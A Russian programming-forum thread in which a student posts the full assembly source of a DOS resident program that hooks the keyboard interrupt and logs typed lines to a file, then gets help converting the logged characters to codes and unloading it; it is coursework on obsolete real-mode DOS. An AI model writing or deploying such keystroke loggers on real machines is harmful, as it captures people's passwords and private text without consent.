Форум программистов, компьютерный форум, киберфорум
Assembler: DOS/Real Mode/16-bits
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
 
Рейтинг 4.74/19: Рейтинг темы: голосов - 19, средняя оценка - 4.74
1 / 1 / 0
Регистрация: 21.05.2012
Сообщений: 13

Записать коды вводимых символов

21.05.2012, 08:55. Показов 4078. Ответов 39
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
есть резидентная программа, которая записывает символы нажатых клавиш в файл, а мне надо записать коды этих символов. И она без выгрузки. А надо, чтобы выгружалась при нажатии ctrl+x.
Помогите пожалуйста, я в этом деле полный нуль))
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
.286
cseg segment
assume cs:cseg, ds:cseg, ss:cseg, es:cseg
org 100h
 
Begin:
    jmp Init ; на метку инициализации
 
 
; === Обработчик 10h-ого прерывания ===
Int_10h_proc proc
       cmp ax,0FAAFh ;Это мы проверяем на повторную загрузку?
       jne Next_step ;Нет - смотрим дальше... 
 
       xchg ah,al    ;Да - меняем местами ah/al
       iret
 
Next_step:
       cmp ax,0FBAFh ;Это мы получаем текущий адрес log-файла?
       jne Run_int   ;Нет - передаем управление 10h-прерыванию... 
 
       push cs       ;Заносим в ES сегмент log-файла.
       pop es
       mov di,offset File_name ;Заносим в DI смещение log-файла
       iret          ;Выходим...
 
Run_int:
       jmp dword ptr cs:[0F8h] ;Передаем управление 10h-прерыванию.
Int_10h_proc endp
 
 
; === Обработчик 09h-ого прерывания ===
Int_09h_proc proc
       cli    ;Запрещаем все прерывания
       pushf  ;Дадим сперва управление...
       call dword ptr cs:[0FCh]  ;...оригинальному обработчику
 
       pusha       ;Сохраним регистры в стеке...
       push es
       push ds
 
       cld         ;Направление - вперед!
 
       in al,60h         ;Получим СКАН-КОД нажатой клавиши.
       test al,10000000b ;(=80h) Это отпускание клавиши?
       jnz Exit_09h      ;Если так, то сохранять ее код не надо 
 
       mov ax,cs   ;Сегментные регистры должны указывать на наш сегмент.
       mov ds,ax
       mov es,ax
 
       mov ah,1    ;Получим ASCII-код нажатой клавиши.
       int 16h
       jz Ext_code ;Буфер клавиатуры пуст? Тогда на выход. 
 
       or al,al        ;Введен расширенный код?
       jz Flash_buffer ;Тогда сохраним все, что вводили. 
 
       cmp al,13       ;Нажали Enter?
       jz Flash_buffer ;Тогда сохраняем введенные символы. 
 
       cmp al,27   ;ESC пропускаем...
       jz Ext_code
 
       cmp al,8    ;Нажали Backspace?
       jz Del_sym  ;Тогда удаляем последний символ из буфера 
 
       cmp al,09   ;Нажали TAB?
       jne NoTab_pressed ;Тогда просто поменяем его на пробел.
       mov al,32
 
NoTab_pressed:
       cmp al,32   ;Нажали что-то непонятное (код меньше 20h)?
       jb Ext_code ;Тогда на выход... 
 
       call Store_sym ;Иначе заносим введенный символ в буфер клавиатуры. 
 
Ext_code:
Exit_09h:
       pop ds ;Восстановим сохраненные регистры...
       pop es
       popa
 
       sti   ;Разрешим прерывания и
       iret  ;выходим из процедуры.
 
 
Flash_buffer:
       call Save_string   ;Сохраняем введенную строку в файл. 
       jmp short Exit_09h ;На выход. 
 
Del_sym:
       call Del_symbol    ;Пользователь нажал BackSpace!
       jmp short Exit_09h ;На выход. 
 
Int_09h_proc endp
 
 
; === Удаляем введенный символ, если пользователь нажал BackSpace ===
Del_symbol proc
       mov ax,cs:[0F6h] ;Занесем в AX количество введенных символов.
       or ax,ax         ;Буфер пуст?
       jz Exit_del      ;Тогда на выход. 
       dec word ptr cs:[0F6h] ;Иначе уменьшаем счетчик.
Exit_del:
       ret
Del_symbol endp
 
; === Заносим введенный символ в наш буфер ===
Store_sym proc
       mov di,cs:[0F6h] ;Занесем в DI количество введенных символов
       cmp di,79        ;Оно больше 79?
       jb OK_store ;Нет, меньше. Тогда дописываем в буфер очередной символ. 
 
       push di     ;Иначе сбросим буфер в файл.
       push ax
       call Save_string
       pop ax
       pop di
 
OK_store:
       stosb ;Занесем очередной символ в буфер.
       inc word ptr cs:[0F6h] ;Увеличим счетчик.
       ret   ;Вернемся... 
Store_sym endp
 
; === Записываем введенную строку в файл ===
Save_string proc
       mov di,cs:[0F6h] ;Занесем в DI количество символов в буфере.
       or di,di         ;Оно равно 0?
       jz Nothing_save  ;Тогда писать в файл ничего не надо. 
       add word ptr cs:[0F6h],2 ;Иначе допишем к концу строки...
       mov ax,0A0Dh             ;...переход на новую строку
       stosw                    ;(для удобства чтения).
 
       mov ax,3D02h    ;Откроем файл для чтения/записи.
       mov dx,offset File_name
       int 21h
       jc Nothing_save ;При ошибке - на выход... 
       mov Handle,ax
 
       mov bx,ax
       mov ax,4202h    ;Установим указатель на конец файла.
       xor cx,cx
       xor dx,dx
       int 21h
 
       mov cx,cs:[0F6h] ;CX=количество записываемых символов.
       mov bx,Handle
       xor dx,dx        ;Пишем с самого начала буфера.
       mov ah,40h
       int 21h          ;Добавляем в файл введенные символы...
 
       mov bx,Handle    ;Закроем файл.
       mov ah,3Eh
       int 21h
 
Nothing_save:
       mov word ptr cs:[0F6h],0 ;Обнулим буфер ввода.
       ret ;Вернемся.
 
File_name db 'c:\keys', 19 dup (0) ;Имя файла для хранения введенных символов.
Handle dw ?
Save_string endp
 
 
;   === Инициализация (подготовка и настройка резидента) ===
Init:
       mov ax,0FAAFh ;Проверка на повторную загрузку.
       int 10h
       cmp ax,0AFFAh
       jne Next_step2
 
       mov ah,9      ;Мы уже в памяти! Выведем соответствующую строку.
       mov dx,offset Mess_memory
       int 21h
 
       mov ax,0FBAFh ;Получим сегмент и смещение имени log-файла
       int 10h
 
       mov dx,di     ;Получим командную строку
       call Get_cmd
 
       mov ah,3Ch    ;Создадим новый файл для записи введенных символов.
       xor cx,cx     ;Атрибуты обычные
       push es
       pop ds
       int 21h
 
       push cs
       pop ds
 
       mov bx,ax
       mov ah,3Eh ;После создания/открытия файла, его нужно закрыть!
       int 21h
 
No_cmdline:
       ret   ;Выйдем в DOS...
 
Next_step2:
       mov di,offset File_name ;DI - куда будем заносить параметры ком.строки.
       call Get_cmd ;Получим командную строку... 
 
       mov ah,9
       lea dx,Mess_hello ;!!! LEA DX вместо MOV DX, OFFSET
       int 21h
 
       mov es,word ptr cs:[2Ch] ;Получим сегмент окружения DOS.
       mov ah,49h               ;Функция освобождения памяти.
       int 21h                  ;Освобождаем память...
 
       mov word ptr cs:[0F6h],0 ;Обнулим буфер ввода символов.
 
;Проверим, существует ли уже наш log-файл.
       mov ax,3D00h
       mov dx,offset File_name
       int 21h
       jnc Ok_file
 
;Если не существует, то:
       mov ah,3Ch ;Создадим новый файл для записи введенных символов.
       xor cx,cx  ;Атрибуты обычные
       mov dx,offset File_name
       int 21h
 
Ok_file:
       mov bx,ax
       mov ah,3Eh ;После создания/открытия файла, его нужно закрыть!
       int 21h
 
; === 09h ===
       mov ax,3509h
       int 21h ;Получим и сохраним адрес (вектор) 09h прерывания
       mov word ptr cs:[0FCh],bx ;Смещение...
       mov word ptr cs:[0FEh],es ;Сегмент...
 
       mov ax,2509h
       lea dx,Int_09h_proc
       int 21h  ;"Повесим" нашу процедуру на 09h прерывание
 
; === 10h ===
       mov ax,3510h
       int 21h ;Получим и сохраним вектор 10h прерывания
       mov word ptr cs:[0F8h],bx
       mov word ptr cs:[0FAh],es
 
       mov ax,2510h
       lea dx,Int_10h_proc
       int 21h  ;"Повесим" нашу процедуру на 10h прерывание
 
       lea dx,Init
       int 27h  ;Оставим часть программы в памяти.
 
 
; --- Получим параметры в командной строке ---
Get_cmd proc
       mov si,80h   ;SI=смещение командной строки.
       lodsb        ;Получим кол-во символов.
       cmp al,25    ;Больше 25?
       ja No_string ;Да - на метку No_string 
       or al,al     ;Нет командной строки?
       jz No_string ;На метку No_string 
 
       inc si       ;Теперь SI указывает на первый символ строки.
 
Next_char:
       lodsb      ;Получаем очередной символ.
       cmp al,0Dh ;Конец строки?
       je Got_cmd ;Да - на выход... 
       stosb      ;Иначе - сохраним символ в переменной File_name
       jmp short Next_char ;Следующий символ... 
 
Got_cmd:
       xor al,al ;Строка получена! Допишем ASCII 0 в конец
       stosb
       clc  ;Сбросим флаг переноса...
       ret  ;Выходим из процедуры
 
No_string:
       stc  ;Строка неверна! Установим флаг переноса.
       ret  ;Выходим из процедуры
Get_cmd endp
 
 
;  === Сообщения ===
Mess_hello db 'Резидент загружен',0Ah,0Dh,0Ah
          
Mess_memory db 0Ah,0Dh,'Программа уже загружена в память!',0Ah,0Dh,0Ah
        
cseg ends
end Begin
1
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
21.05.2012, 08:55
Ответы с готовыми решениями:

Отображение вводимых символов
Запросить вначале login (имя пользователя), а затем пароль. При вводе пароля не отображать вводимые символы. Выдать сообщение...

Ограничение на количество вводимых символов
я заполняю буфер звездочками(*). есть 3 буфера. при вводе чисел эти звездочки(*) заполняются ими. допустим если я ввожу 123 то вместо...

Преобразование вводимых символов к верхнему регистру
Всем привет. Прошу помощи. Не получается написать программу, в которой вводимые символы преобразуються q,w,e,r,t,y ----> Q,W,E,R,T,Y....

39
650 / 337 / 37
Регистрация: 04.04.2012
Сообщений: 886
21.05.2012, 12:08
Цитата Сообщение от castle_29 Посмотреть сообщение
есть резидентная программа, которая записывает символы нажатых клавиш в файл, а мне надо записать коды этих символов. И она без выгрузки. А надо, чтобы выгружалась при нажатии ctrl+x.
Помогите пожалуйста, я в этом деле полный нуль))
Куда записать коды этих символов? Может вывести на экран?
0
Ушел с форума
Автор FAQ
 Аватар для Mikl___
16373 / 7685 / 1080
Регистрация: 11.11.2010
Сообщений: 13,759
21.05.2012, 12:14
Цитата Сообщение от AFP Посмотреть сообщение
Куда записать коды этих символов?
AFP, судя по приведенной программе в лог-файл с именем 'c:\keys'
0
650 / 337 / 37
Регистрация: 04.04.2012
Сообщений: 886
21.05.2012, 12:52
Mikl___, я кажется понял. Программа писала в файл, например: 123…, а надо записывать 31 32 33…?

Добавлено через 16 минут
Программа писала в файл, например: 123…, а надо записывать 31 32 33… или 49 50 51...?
0
116 / 136 / 0
Регистрация: 15.04.2012
Сообщений: 1,031
21.05.2012, 16:51
castle_29, посади ещё один обработчик на Int 9 и проверяй коды. Это BIOS клава.
0
1 / 1 / 0
Регистрация: 21.05.2012
Сообщений: 13
21.05.2012, 19:29  [ТС]
да мне надо ASCII код нажатых клавиш записать в файл. А где мне поменять надо, чтобы она не преобразовывала в символ?
Посадить ещё на один обработчик это как???
Получается дважды перехватывать 9h - прерывание? или это уже 16h - от клавиатуры?
0
650 / 337 / 37
Регистрация: 04.04.2012
Сообщений: 886
21.05.2012, 19:59
Я думаю, что на 79 строке надо вставить процедуру преобразования, а вот как выгрузить резидента не знаю.
0
1 / 1 / 0
Регистрация: 21.05.2012
Сообщений: 13
21.05.2012, 20:11  [ТС]
спасибо за ответы. Попробую что-нибудь сделать))
0
116 / 136 / 0
Регистрация: 15.04.2012
Сообщений: 1,031
22.05.2012, 06:28
AFP, если я не ошибаюсь, Int 20h выгружает окончательно и безповоротно.

Добавлено через 1 минуту
Цитата Сообщение от castle_29 Посмотреть сообщение
А где мне поменять надо, чтобы она не преобразовывала в символ?
Делишь на 10 трижды и выводишь остатки +30h в обратном порядке.
0
650 / 337 / 37
Регистрация: 04.04.2012
Сообщений: 886
22.05.2012, 12:15
Цитата Сообщение от programmisto Посмотреть сообщение
AFP, если я не ошибаюсь, Int 20h выгружает окончательно и безповоротно.
Перед этим, по крайней мере, надо вернуть оригинальные обработчики.
0
116 / 136 / 0
Регистрация: 15.04.2012
Сообщений: 1,031
22.05.2012, 15:09
AFP, ну это и ТСу понятно.
0
1 / 1 / 0
Регистрация: 21.05.2012
Сообщений: 13
22.05.2012, 22:37  [ТС]
По поводу перевода символа в код. Нашла вот такой код.
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  xor si,si
code_take:
  mov al, buffer[si]
  mov help_variable,'0'
  mov dl,10
  mov di,2
convert_code:
  cbw
  div dl
  add ah,48
  mov help_variable[di], ah
  dec di
  cmp al, 10
  jae convert_code
  add al,48
  mov help_variable[di],al
 
help_variable                DB   '000 $' 
Buffer           DB         30  DUP(0)
Здесь буфер задан, а в моей программе в качестве буфера используется окружение , т.е. вместо
mov al, buffer[si] , я должна поставить
mov al, cs:[0F6h]. Будет ли это корректно? или надо по другому как-то писать?
И ещё если это вставить как процедуру то в какой момент я должна буду на неё ссылаться?

Добавлено через 2 часа 21 минуту
попробовала вставить код, который привела выше, после команд
Assembler
1
2
3
NoTab_pressed:
       cmp al,32   ;Нажали что-то непонятное (код меньше 20h)?
       jb Ext_code ;Тогда на выход... 
, он пишет переполнение деления!
0
1 / 1 / 0
Регистрация: 21.05.2012
Сообщений: 13
24.05.2012, 18:34  [ТС]
Никто так и не поможет???
С выгрузкой я разобралась, так что осталось записать аски код!
Очень прошу помочь, т.к. в понедельник надо сдать!!!!!!!!

Добавлено через 6 часов 4 минуты
нашла вот код, на экран выводится символ, аски код, скан код. Два последних в 16 с.с. выводится.
а как сделать так, чтобы не на экран выводить а преобразовать и в буфер это всё запихать???
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
hex   db '0123456789ABCDEF'
 
nachalo:
mov ah,0
int 22
cmp al,1bh ; нажат Esc-> на выход
je konec
     push ax  ; иначе выведем символ на экран
mov dl,al
mov ah,6
int 21h
 
mov ah,6 
mov dl,' '   
int 21h
     pop ax
     push ax
shr al,4
mov ah,0
 
mov si,ax
mov dl,[si+hex]
mov ah,6
int 21h
     pop ax
     push ax
and al,00001111b
mov ah,0
mov si,ax
mov dl,[si+hex]
mov ah,6
int 21h
mov ah,6
mov dl,'h'
int 21h
 
mov ah,6
mov dl,' '
int 21h
     pop ax
     push ax
shr ah,4
mov al,ah
mov ah,0
mov si,ax
mov dl,[si+hex]
mov ah,6
int 21h
     pop ax
mov al,ah
mov ah,0
and al,00001111b
mov si,ax
mov dl,[si+hex]
mov ah,6
int 21h
 
mov ah,6
mov dl,'h'
int 21h
mov ah,9
mov dx,offset txt
int 21h
jmp nachalo
0
116 / 136 / 0
Регистрация: 15.04.2012
Сообщений: 1,031
24.05.2012, 18:51
Вот участок
Assembler
1
2
3
mov dl,[si+hex]
mov ah,6
int 21h
замени на
Assembler
1
2
3
mov dl,[si+hex]
mov [di],dl
inc di
И в начале запихай строку
Assembler
1
mov di,offset результ строка.
0
1 / 1 / 0
Регистрация: 21.05.2012
Сообщений: 13
24.05.2012, 19:29  [ТС]
programmisto, а это преобразование делать до того как в буфер скидывать или мы в буфер строку скидываем?
вот я запихала это в процедуру
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
asci_scan proc
nachalo:
mov di,offset cs:[0f6h] ; вот здесь буфер указывать или другую переменную лучше взять?      
     push ax
shr al,4
mov ah,0
 
mov si,ax
mov dl,[si+hex]
mov [di],dl
inc di
     pop ax
     push ax
and al,00001111b
mov ah,0
mov si,ax
mov dl,[si+hex]
mov [di],dl
inc di
     pop ax
     push ax
shr ah,4
mov al,ah
mov ah,0
mov si,ax
mov dl,[si+hex]
mov [di],dl
inc di
     pop ax
mov al,ah
mov ah,0
and al,00001111b
mov si,ax
mov dl,[si+hex]
mov [di],dl
inc di
asci_scan endp
0
116 / 136 / 0
Регистрация: 15.04.2012
Сообщений: 1,031
24.05.2012, 19:31
castle_29, это я заменил вывод на экран вывод в результирующий буфер. Так же как с экраном работает. Кстати, можно из видеобуфера после вывода прочитать.
0
1 / 1 / 0
Регистрация: 21.05.2012
Сообщений: 13
24.05.2012, 20:31  [ТС]
programmisto, я всё равно не понимаю куда мне надо вставить всё это
у меня есть процедура call Store_sym - заносит введенный символ в буфер клавиатуры. Вместо неё? но в ней также есть процедура записи в файл!
0
116 / 136 / 0
Регистрация: 15.04.2012
Сообщений: 1,031
25.05.2012, 06:24
Я тебе говорю

Цитата Сообщение от programmisto Посмотреть сообщение
участок
Код ASM
1
2
3
mov dl,[si+hex]
mov ah,6
int 21h
замени на
Код ASM
1
2
3
mov dl,[si+hex]
mov [di],dl
inc di
Понятно?
0
1 / 1 / 0
Регистрация: 21.05.2012
Сообщений: 13
25.05.2012, 17:52  [ТС]
programmisto, То что мы заменяем эти строчки, я поняла
непонятно: 1)В какой момент ссылаться в исходной программе на эту процедуру (назвала asci_scan proc)???
2) И если [di] - результирующий буфер, в который записываем, то буфер который использовался (cs:[0f6h]) куда девается?
3) Когда я перехожу на процедуру записи в файл, у меня первой идёт команда
Assembler
1
mov di, cs:[0f6h]
т.е. di у меня затирается?

Мне в понедельник надо сдавать этот курсовик, помогите правильно его скомпоновать, чтобы он выводил эти коды!!!! Пожалуйста!!!!!!!!!!!!!
0
650 / 337 / 37
Регистрация: 04.04.2012
Сообщений: 886
25.05.2012, 19:22
У отметившихся здесь, программа нормально работает?
Я ее переделал под COM, так она быстро зависает.
Дайте код, что получился.
И вот код для преобразования символа из AL:
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
    xor ah,ah
    shl ax,4
    shr al,4
    cmp al,10
    sbb al,69h
    das
    xchg al,ah
    cmp al,10
    sbb al,69h
    das
 
       stosw;b          ;Занесем очередной символ в буфер.
    mov byte ptr [di],' '
    inc di
Пишет так
Вход: 124A
Выход: 31 32 34 61

Добавлено через 1 час 29 минут
А вообще, как я думаю, в коде этой программы изначально заложена ошибка – нельзя выполнять прерывания ДОС (запись в файл) в перехваченном прерывании БИОС. Насколько помню, нужно организовать специальные меры для этой возможности.
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
25.05.2012, 19:22
Помогаю со студенческими работами здесь

Скан-коды нажатых клавиш записать в файл
всем здравствуйте, пишу программу на тасм. условие такое нужно скан коды нажатых клавиш записать в файл, подскажите как сделать, скан коды...

Подсчитать количество символов, коды ASCII которых по величине больше 75
Программирую немного на с++, с#, pascal, basic, но ассемблер никак освоить не получается. читаю учебник Юрова Assembler, но он члишком...

Узнать коды символов, вводимых в textBox
Всем привет. В общем нужно узнать коды символов вводимых в ЭУ textbox. Может есть какая функция?

Введите массив символов из 12 элементов. Удвоить все коды символов массива
Условие :Введите массив символов из 12 элементов. Удвоить все коды символов массива. Заранее спасибо )

Если массив символов упорядочен по возрастанию, то вывести коды этих символов
1) Дана массив символов, если ее символы упорядочены по возрастанию, то вывести коды этих символов, в противоположном случае заменить...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
20
Ответ Создать тему
Новые блоги и статьи
Символьное дифференцирование
igorrr37 13.02.2026
/ * Программа принимает математическое выражение в виде строки и выдаёт его производную в виде строки и вычисляет значение производной при заданном х Логарифм записывается как: (x-2)log(x^2+2) -. . .
Камера Toupcam IUA500KMA
Eddy_Em 12.02.2026
Т. к. у всяких "хикроботов" слишком уж мелкий пиксель, для подсмотра в ESPriF они вообще плохо годятся: уже 14 величину можно рассмотреть еле-еле лишь на экспозициях под 3 секунды (а то и больше),. . .
И ясному Солнцу
zbw 12.02.2026
И ясному Солнцу, и светлой Луне. В мире покоя нет и люди не могут жить в тишине. А жить им немного лет.
«Знание-Сила»
zbw 12.02.2026
«Знание-Сила» «Время-Деньги» «Деньги -Пуля»
SDL3 для Web (WebAssembly): Подключение Box2D v3, физика и отрисовка коллайдеров
8Observer8 12.02.2026
Содержание блога Box2D - это библиотека для 2D физики для анимаций и игр. С её помощью можно определять были ли коллизии между конкретными объектами и вызывать обработчики событий столкновения. . . .
SDL3 для Web (WebAssembly): Загрузка PNG с прозрачным фоном с помощью SDL_LoadPNG (без SDL3_image)
8Observer8 11.02.2026
Содержание блога Библиотека SDL3 содержит встроенные инструменты для базовой работы с изображениями - без использования библиотеки SDL3_image. Пошагово создадим проект для загрузки изображения. . .
SDL3 для Web (WebAssembly): Загрузка PNG с прозрачным фоном с помощью SDL3_image
8Observer8 10.02.2026
Содержание блога Библиотека SDL3_image содержит инструменты для расширенной работы с изображениями. Пошагово создадим проект для загрузки изображения формата PNG с альфа-каналом (с прозрачным. . .
Установка Qt-версии Lazarus IDE в Debian Trixie Xfce
volvo 10.02.2026
В общем, достали меня глюки IDE Лазаруса, собранной с использованием набора виджетов Gtk2 (конкретно: если набирать текст в редакторе и вызвать подсказку через Ctrl+Space, то после закрытия окошка. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru